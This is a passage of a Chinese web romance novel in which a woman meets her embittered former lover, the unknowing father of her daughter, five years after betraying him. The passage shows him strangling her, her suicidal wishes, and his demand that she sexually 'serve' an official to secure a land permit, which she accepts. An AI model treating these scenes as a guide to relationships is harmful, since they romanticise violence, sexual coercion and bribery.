是她对裴啸的思念太深了吗?
以前都是看背影像,现在看正脸也出现幻觉了。
她晃了晃脑袋。
强行屏蔽,在这种时候,出现的不合时宜的幻觉。
“不好意思先生,你今天有没的捡到一个小姑娘呀?她叫小果冻,四岁,穿着红色的毛衣,棕色的小靴子,我来接她回家。”
看着面前安糖糖扬起的笑脸。
裴啸的脸如同淬了冰一般。
当年,她那样处心积虑地算计他,把他推到风口浪尖,让他失去了裴氏的继承权,现如今,又在这儿演上失忆了?
跟他装不认识?
看裴啸不说话。
安糖糖又揉了揉眼睛。
今天怎么回事?
这幻相一直不消失了。
“先生,先生,我女儿,你有没有捡到一个小姑娘呀?我来接她回家,谢谢你收留她。”
安糖糖以为自己就这样说了。
出于对她的尊重,面前这个男人,也不至于一声不吭的。
“你……”
“安糖糖,你在装傻子吗?”裴啸不想陪她演戏,眸间的寒意冷得骇人,“这么爱演戏?五年了,戏瘾还没过去?”
安糖糖愣住。
她脑子在这一刻彻底宕机。
她眼前的男人,不是幻觉,是裴啸,真的裴啸。
裴啸不是在江城吗?
怎么会跑到这么一个鸟不拉屎的地方?
她抬手想去摸摸他的脸。
她想验证他是真的站在她面前,还是她在做梦。
裴啸嫌弃躲开。
他眼底的厌恶明显。
看得安糖糖心脏疼,“对不起,我,我……”
“老把戏就别演了。”
五年。
她结婚生子,看小帅哥,一样都没有落。
而他,遍体鳞伤,失去了对女人最基本的信任,和对婚姻爱情的渴望。
五年后,猝不及防地相遇。
他可以不恨她,但,他不可能释怀那些伤害。
更不可能当成什么事情也没有发生的……老朋友。
“带着孩子走。”他下逐客令。
将门打开。
安糖糖其实有很多的话要说。
她想问问裴啸有没有看她给他发的邮件。
那里面,是她真诚的道歉,和她的苦衷。
“裴啸哥哥……”
“别叫我哥哥。”他现在听到这样的称呼,都恶心,“安糖糖,带着你的孩子走,多说一句,我都恶心。”
安糖糖心里难受。
她垂着脑袋,像个做错事情的孩子。
走进了房间。
小果冻睡了,躺在大床上,身上盖着裴啸的大衣,特别安稳。
小果冻要是知道,裴啸是她的爸爸,会不会笑着跟自己打趣,“妈妈,你真的好会选帅哥呦,爸爸很帅很帅,我很满意。”
不会了。
永远不会的。
他不会原谅她,永远不会。
安糖糖将带着体温的衣服,轻轻拿开。
把小果冻抱了起来。
走到门口时,她还是忍不住看了裴啸一眼,“裴……总,谢谢你收留了我女儿,真的很感谢你。”
“滚。”裴啸指向门口。
安糖糖眼眶泛红。
她有想象过,很多种二人见面的情形。
显然,这是最糟糕的一种。
第339章 孩子是她偷来的
她计划着十年回江城的。
她也在心里演练过很多遍,刻意的将成巧合的去见他一面的。
她没有想过。
五年,在她隐居的这个小城市,与他这样,毫无准备地见面。
五年了。
他依然恨她。
不怪他。
是她太坏了,她处心积虑地伤害了他,他应该恨,恨一辈子都不过分。
总不能不要脸地想,有一天,裴啸会当成什么事情都没有发生一样的。
这么想来。
她也就释怀了许多。
安糖糖打了车,回明月镇。
女儿在怀里睡得很安稳。
她望着车外的倒退的路灯,眼前都是她和裴啸做过的亲密之事。
五年了。
他应该已经结婚了吧?
会不会也有了自己的孩子。
如果他知道,小果冻是他的女儿,他会不会很嫌弃?
应该会的吧。
那天,是她的排卵期,不是安全期。
这个孩子是她偷来的。
看吧。
连生孩子这事,她都算计了他,她这种人,还有什么好原谅的。
可她再坏也是个人啊。
她是真的很喜欢他,很爱他,这辈子,她就爱过这么一个男人,却又做那么多伤害他的事情。
如果倒退回去。
她还会这样地做吗?
安糖糖苦笑。
她会的,她没得选,她只能伤害他。
五年,她的愧疚和痛,没有一丝一毫的减少。
可能这样的愧欠,会在她的身上持续一辈子。
没事的。
她笑了,眼角的泪珠滑落,她自己做的孽,她自己受着。
回家后。
她将女儿安顿好。
一个人拎着酒去了天台。
冬天了,很冷。
她裹了件很厚的披肩,对着夜空,想着她与裴啸的前尘往事。
江城的新闻。
第一次在她手机里打开。
她输入了裴啸的名字。
除了润合集团董事长的抬头,并没有关于裴氏的。
裴氏的董事局已经换了主席,不再是裴敬之,也不是裴啸,是东靖川。
安糖糖的心,被攥的生疼难以呼吸。
看看她做的好事,她拿走了裴啸的事业,和对女人最起码的信任,她如何对得起他。
“裴啸,我对不起你,是真的对不起你,我对着天,向你道歉,希望你能原谅我,可我知道,你不会原谅我了……”
安糖糖举杯冲向明月,“……没关系,你不原谅我,我也能接受,我搅乱了你的人生,可是我安糖糖对天发誓,我真的很爱你,很爱很爱你……”
一听啤酒混着道歉,就这样灌进了她的喉咙。
不够。
她应该以死谢罪。
可她胆小,她有女儿了,她死不了,也不能去死。
“裴啸,我爱你,你能不能听到啊,我真的爱你,我只爱过一个男人,就是你,我给你生了女儿,我们的女儿很可爱,可她偏偏像我的性子,你不会喜欢的,如果她像你一样就好了,我还可以从她的身上,看到你的影子,不过……”
安糖糖对着夜空中的星星笑了,“……她模样长得像你,都说女儿像爸爸,我很庆幸,我生了个女儿。”
她哭了笑。
笑了哭。
一听啤酒接着一听啤酒的喝。
凛冽的风吹透她纤瘦的身子,她全然没有感觉。
“我说下面怎么没人呢,一猜你就在这儿,这么冷的天,在这儿喝酒?不怕冻死?”江禹拿了厚的棉衣,给安糖糖披在身上。
江禹是她的发小。
是个富三代,谈不上不学无术,就是有点闲云野鹤的性子。
他在这儿陪她住了五年了。
从小到大,两个人感情一直都是友情之上,恋人未满。
这五年,彻底发展成了亲情。
安糖糖傻呵呵地看了他一眼,“心情不好,还不能喝点酒了?”
“五年没见你喝过酒,突然就心情不好了,怎么……”他歪头看着这个傻姑娘,“……是见了什么人了吗?”
安糖糖扬起的唇角,微微滞住。
既而垂下了脑袋。
“大禹啊,你知道旧爱重逢是什么滋味吗?”
“干柴烈火?”
安糖糖摇头,苦涩极了,“旧爱看到你,想杀了你的眼神,是最刀人的,他还在恨我,一直在恨我,他不会原谅我的,永远不会,这是我心里最难过的。”
江禹知道安糖糖做过的事情。
这事吧,也不能全怨安糖糖,要说非得恨一个人,应该是程节。
“他没有看你给她发的邮件吗?”
“应该一眼也没有看,就进垃圾桶了吧。”她很无奈,也觉得他这样做没有问题,“看了又怎样,我就算有再大的苦衷,也不能伤害一个不相干的人吧?我就是天生的坏种。”
江禹拍了拍她的肩。
“你也不能这么说自己,换成任何一个人,都是一个两难的选择。”
“如果你是裴啸,你会原谅我吗?”安糖糖赤着红颊,问向江禹。
他点点头,“会的。”
安糖糖笑了,“可惜,你不是他。”
“你还想跟他重新开始吗?”
江禹眼神深沉。
这五年,安糖糖表面看起来没心没肺,好像很快乐地在带小果冻。
可他知道,她并不快乐。
这个不快乐的根本原因,就是因为她做的那件伤害裴啸的事情。
也许得到了裴啸的原谅,她才能原谅自己。
安糖糖垂眸,浅浅摇头,“你觉得他在一个女人身上栽了两个跟头后,还会再选择栽第三个吗?大禹,这不是我想不想跟他开始的问题,是他根本不允许我再次接近他。”
“那你有没有想过,把小果冻的身世,告诉裴啸,毕竟是他的女儿。”
安糖糖眼神破碎,“一个偷来的孩子,他会认吗?大禹,或许他已经结婚了,也有孩子了,小果冻就留给我吧,我有能力给她很好的生活。”
江禹听得心涩。
放不下,又想不开,痛苦又折磨。
这什么时候是个头。
“明天,我带你和小果冻去散散心去。”他说。
安糖糖没有心情,“不想去。”
“果冻不是一嚷着要去泡温泉,咱们就去泡温泉,就这么说定了。”
江禹起身。
将安糖糖从水泥面上拽了起来,“一醉解千愁,好好睡一觉,什么都想通了。”
“也许吧,可是五年想不通的事情,一晚上怎么会想得通。”
安糖糖醉了。
她的酒量不止这些。
可能是心情不太好的缘故。
这一睡就睡到过了点。
小果冻背着小书包,站在她的床前,直抹冷汗,“大禹叔叔,我妈妈怎么又睡过头了,今天,我又得迟到。”
“果冻,今天,咱们不去幼儿园了,大禹叔叔带你和妈妈,一起去泡温泉怎么样?”
小果冻一听不用上学,顿时喜笑,“真的吗?好耶好耶。”
第340章 恨屋及乌
安糖糖是被强行带出门的。
她兴致不高。
全程是江禹带着小果冻,嘻嘻哈哈的。
前台买完票后。
安糖糖和江禹一起带着小果冻往里走,找他们泡温泉的房间。
一抬眼。
就看到裴啸和严特助一前一后地走出来。
“是漂亮叔叔。”小果冻认出了裴啸,张着双臂跑了过去,“叔叔,叔叔……”
安糖糖想拽住她。
结果,晚了。
在小果冻要跑到裴啸面前时,严秘书往前一步,将她挡下,“小朋友,不要乱跑哦。”
“叔叔是我呀,我是小果冻呀,你不认得我了吗?”
小姑娘很天真。
眼睛弯得像月牙。
裴啸没有之前的温柔和热情,脸色很冷,很疏离。
“爸爸妈妈都在,就不要乱跑了,回去吧。”
“叔叔……”小姑娘有点小难过,叔叔好像不喜欢她了,“……你是不喜欢小果冻了吗?小果冻是不是做了什么不好的事情惹你生气了?”
裴啸知道,大人的事情,不应该牵扯到孩子。
但他实在对安糖糖和别的男人的孩子,喜欢不起来。
江禹大步走到裴啸面前。
将小果冻抱了起来。
“何必对一个小孩子,这般的冷漠呢,我看得出来,她挺喜欢你的。”
江禹认得裴啸。
可能是亲生父女之间,有一种莫名的磁场,他也是第一次,在小姑娘的眼里看到了委屈。
裴啸冷呵,扯唇看向江禹,“自己生养的孩子,谎话连篇,你不觉得你当父亲,有问题吗?想让一个陌生人关心自己的女儿,为什么不自己关心呢?”
裴啸的声音冷厉。
小果冻嘴角抽动了两下,哇的哭了起来。
她搂着江禹的脖子,哭得一抽一抽的。
江禹真想把这个孩子的身世,告诉他。
正欲动唇的时候,安糖糖走过来,扶住了他的胳膊,“大禹我们走吧,别耽误裴总了,孩子没教育好,我们的责任。”
裴啸淡而冷的扫了安糖糖一眼。
五年了,她比以前瘦了许多,原本圆润的小脸,下巴尖了,也没了婴儿肥。
多了一丝清冷。
少了一些天真和娇柔。
是啊。
以前他被她的假像欺骗了,她一直就是一个擅长隐藏自己的人,不是吗?
安糖糖和江禹,抱着小果冻,一起往里走。
裴啸回眸,看着她的背影。
一肚子的气,不知道往哪儿撒。
“给我办张卡,我体验一下这里的温泉。”裴啸松了松领带说。
严特助立马会意,“好的裴总,我马上去办。”
江禹抱着小果冻走进温泉的房间。
对安糖糖说,“刚刚要不是你拦着我,我就告诉他……果冻的身世了。”
“你告诉他,只会让我更难堪,他知道果冻是我女儿后,眼底的厌恶满的快要溢出来了,何必呢。”
安糖糖给小果冻换了衣服,将她轻轻地放进小池子里。
“扶好哦。”
“嗯。”小姑娘答应着。
江禹无声叹息,“他就算再恨你,孩子总是他的,我看果冻对他有一种天然的亲近感……”
“那又怎样呢?”安糖糖不需要江禹,在替她不平什么,“五年了,没有他,我和果冻不也过得很好,我一个人怀孕,一个人生产,一个人带孩子,我对女儿倾注了百分之二百的爱,有没有父亲,又有什么分别呢?”
“真的不遗憾吗?”江禹神色微沉。
安糖糖摇头,“我对这事没有执念,我唯一觉得遗憾的就是,我对他的伤害,不过,已经不重要了,他也没打算原谅我,我也不配得到原谅,等他回了江城,一切就又会回到原来的样子。”
江禹不再说什么。
安糖糖看起来是一副一切好商量的模样。
有时候,执拗起来,八头牛也改变不了她的想法。
“不说这个了,先泡温泉吧。”
安糖糖点头。
她昨晚上喝了太多的酒。
温泉一泡,她就想睡觉,一个人趴在假山的露台上,昏昏沉沉地睡了过去。
这一觉睡得她脑袋很懵。
“果冻,到妈妈这儿来。”
“果冻……”
“果冻?”她看到那个小池子,女儿不见了。
她以为小果冻是溺了水。
一头就扎进了里面。
没有。
那一定是乱跑了。
这个小丫头,跟自己一样不省心。
江禹端了水果进来,果盘很漂亮。
看到安糖糖慌乱的模样,“怎么了?睡懵了?”
“果冻不知道去哪儿了。”安糖糖扯过浴巾,将自己包起来,“我出去找找她去。”
江禹挠了挠头皮,刚刚他出去拿果盘的时候,还在这儿啊。
怎么一转眼就又跑丢了?
他忙把果盘放下,“我陪你一起找。”
……
小果冻乱蹿惯了。
一会儿往这瞧瞧,一会儿又往那儿看看。
她抱着自己的小鸭子,走进了一间很大的温泉室。
“哇塞,这里好漂亮啊。”像仙境似的。
中间池里子。
一个男人赤着后背,脸上盖着一块毛巾。
一动不动地靠在池子边上。
小果冻急忙冲过去,将他脸上的毛巾扯掉了,“叔叔,你没事吧?”
老师教过的,毛巾不能盖在脸上。
会被憋死的。
裴啸回眸望过去。
小果冻也认出了他。
“对不起叔叔。”她也不知道叔叔,为什么突然就不喜欢她了,对她产生了忌惮,“我就是怕你……”
“你又乱跑什么?”
安糖糖就不省心。
生个孩子还是不省心。
这样的人,生什么孩子?
裴啸的声音像是在训斥。
小果冻吓了小身子一颤,眼眶瞬间红透,紧接着眼泪像珍珠般的,大颗大颗地往下掉。
“我,我不是故意的,叔叔……”
小姑娘吓得,连连后退。
安糖糖一步迈进来,将小果冻抱进了怀里,“不怕不怕,叔叔跟你开玩笑呢,不哭了。”
她温柔地给女儿擦眼泪。
裴啸看得心烦,“都滚出去。”
安糖糖心脏被猛地攥住。
抱起小果冻就往外走。
江禹赶过来,将小果冻从安糖糖的怀里,接了过去,“怎么了?是不是惹别的客人不高兴了?要不,我去给道个歉?”
“不用了。”
她知道裴啸所有的怨气和对小果冻的反感。
都是因为小果冻是她的女儿。
和她扯上关系的,他都会恨屋及乌。
“走吧,回吧。”
……
严秘书将浴袍拿过来,递给了裴啸。
“裴总,你何必跟一个四岁的孩子动气呢?”
严秘书不知道当年发生了什么。
只知道,从那天安糖糖慌乱地撞到他以后,这个人就在江城消失了。
紧接着就是项目出了问题。
再后面,就是裴啸离开了裴氏。
是不是都跟安糖糖有关?
毕竟当时,裴啸在休息里,是一种神智不清的状态。
“裴总,是不是当年安糖糖对你做过什么啊?”严秘书猜测着。
第341章 验证我的蠢
裴啸矢口否认,“不是。”
“那……”
“不该问的别问。”
严特助只好咽下疑惑,“知道了。”
裴啸扯过浴袍,有些脾气的系好带子。
“给我开个房间,我需要休息一下。”他吩咐。
严特助:“好的裴总。”
……
走到门口的安糖糖接到了温泉服务部的电话。
“安小姐,您落下了一只包包在温泉房里,麻烦您过来取一下。”
“哦,好的。”
安糖糖折身往回走,对江禹说,“我去拿包。”
“那我们去车里等你。”
“好。”
安糖糖步子很快。
她这个人糊里糊涂的,一走进温泉部,她就开始晕头转向。
刚刚泡温泉的房间,她有一些记不清楚。
哪间房来着。
看到开着门的,她就会走进去找一通。
“对,就是前面那间。”她一拍脑袋,拾步走了进去。
她的包包和小果冻的玩具,都整整齐齐地放在一起。
她打开包清点了一下物品。
拿起东西,就往外走。
兴许是走得太急了。
她一头撞上了一堵肉墙。
“对不起,对不起,真的对不起,是我没长眼,没看路,我眼瞎,你不要生气,我向你道歉。”
安糖糖经常这样。
这套道歉的词,就像在某个节点,触发了某种技能一般的。
一般人,不跟她计较。
结果,对面无声。
她意识到不对,忙抬脸,看向撞的人。
裴啸。
气压在一瞬间变得令人窒息。
她不安地后退了两步,咽了咽,“对不起裴总,我不知道是你,我一时有眼无珠,我向你道歉,有没有撞疼啊?要不要去医院?我可以负担你的医药费。”
她尽可能地想,浇灭裴啸眼中的怒火。
却听到他牙缝里挤出的冰冷声音,“有意思吗?安糖糖,还想在我身上故伎重施?你想在我身上验证什么?验证我的蠢吗?”
安糖糖机械摇头。
她听不懂裴啸在说什么。
但大概的意思,她是明白的。
“我对你毫无恶意。”
“恶意都用完了吗?”他抬手攥住了她的脖子,力道大到,指尖都泛起了白,“嗯?”
安糖糖被掐得透不过气。
脸也因为瞬间的缺氧,慢慢变紫。
“对不起,我知道我对不起你,我不求你原谅我,如果你觉得我死了,你能痛快一些,你尽管把我掐死吧,我会说我自杀的。”
五年了。
她没有睡过一个好觉。
她不是没心没肺的。
她也会因为对他做过的事情难过,愧疚,亏欠,和抱歉。
要是今天他弄死了她。
她也算是解脱了。
在安糖糖几乎要咽气的时候,裴啸松开了指尖。
人踉跄着摔了出去,气息不匀地喘息着。
脖子上青紫的指痕明显。
“杀了你,弄脏我的手。”
他对她是极其唾弃的。
看她,就像看一条吃了他施舍食物,却又反咬他一口的流浪狗。
安糖糖晃晃悠悠地从地上站起来。
她想挤一抹不在意的笑。
眼角却有了泪花在氤氲。
“谢谢你裴总。”
“安糖糖,你真的没心吗?你可以不爱我,可以不喜欢我,万万不该的,就是从一开始就作局骗我。”他可以没有爱情。
他也可以没有女人。
但他接受不了,将他真心碾在脚下。
他苦笑着看向安糖糖含泪的双眸,“当初,程节选你结婚是对的,你肯为他效力,也豁得出去,但你万不该的是,把这个受害者的身份加在了我的头上,安糖糖,你会为此付出代价的。”
他恨得咬牙切齿。
像要将眼前的女人撕碎一般。
恨意滔天,四个字,是她在他眼中看到的。
她绝望了。
裴啸这辈子不杀她,是对她最大的仁慈。
原谅?
她涩笑,她恐怕到死,也不会听到他说一句,‘过去了。’
“只要你能解恨,你想怎么对付我,我都悉然接受,裴啸,对不起,我利用了你,我欠你的,到死都欠,我认,如果你愿意,我也可以为自己犯下的错,赎罪,只要你愿意。”
裴啸墨眸狠狠地眯起。
看向安糖糖的眸中,透着噬骨的寒凉。
“你以为我会再给你一次,伤害我的机会?”
“你当然不会,但我是真心的。”
她这几年接了很多国外的活,也攒了一些钱。
加上原来的三亿,她基本上有十亿的积蓄。
这些钱,她都可以拿给裴啸。
只要他肯要。
她从包里拿出自己的和储蓄卡,轻轻地放到一旁,“我也不知道怎样,才能消灭你的怒气,我知道,我犯的错太离谱,这些钱是我这五年存的,希望你肯给我个弥补的机会,收下它。”
裴啸不知道这卡里多少钱。
眸底的厉色更盛。
卡在他的指尖,断成了两半,“你少拿这种东西,来恶心我,安糖糖,有些事情,不是用钱就能解决的。”
“我知道。”
她垂下小脸。
她怎么会不知道呢。
可她除了有点钱,什么也没有。
“裴啸,你到底怎样,才能出了这口气,你可以直接跟我讲,只要你心里好过就行,我怎样都可以的。”
裴啸脸色越发的难看。
他想过一辈子,不再跟她有交集。
但是短短五年,他们就见到了。
那口恶气没下去,又被拱了上来,“明天,我有一个商务酒局,如果你把孙局伺候好了,拿到地的批文,兴许,我对你的恨意,会减少一点。”
安糖糖听到这话是震惊的。
‘伺候’这个词。
最直观的理解,就是让男人占便宜。
他想利用她的身体……?
她挺难过的。
但此时的她,对于裴啸来说,不是爱人,不是女朋友,只是一个利用过他的女人,他想把他积攒的恶气出掉,她有什么可难过的呢。
她应该配合他。
帮助他。
让他得偿所愿。
“好,我答应你。”安糖糖痛快地答应了。
裴啸没想到,她答应得如此直接。
她是没听明白他话里的意思。
安糖糖微微一笑,淡定平和,“我明白裴总的意思,我愿意配合你,把那个孙局伺候好,我没有怨言,明天几点,地点在哪儿?”
“不怕你的丈夫……?”裴啸嘲弄的,丢了颗烟到唇上,“……安糖糖,别说我没有给你后悔药吃,这事一旦做了,以后你做为妻子也好,做为母亲也罢,身上的印记,可是永远洗不掉的。”
“我不介意。”她依然微笑着,眼睛弯成了月牙,“只要你痛快就好,我欠你的,有机会偿还,我很开心的,反正,我也不是什么黄花大闺女。”
裴啸吸了口烟。
毫不怜惜的,吐到了安糖糖的脸上,“既然这样,我就给你这个机会,明晚八点,明月酒楼,818VIP包厢,不见不散。”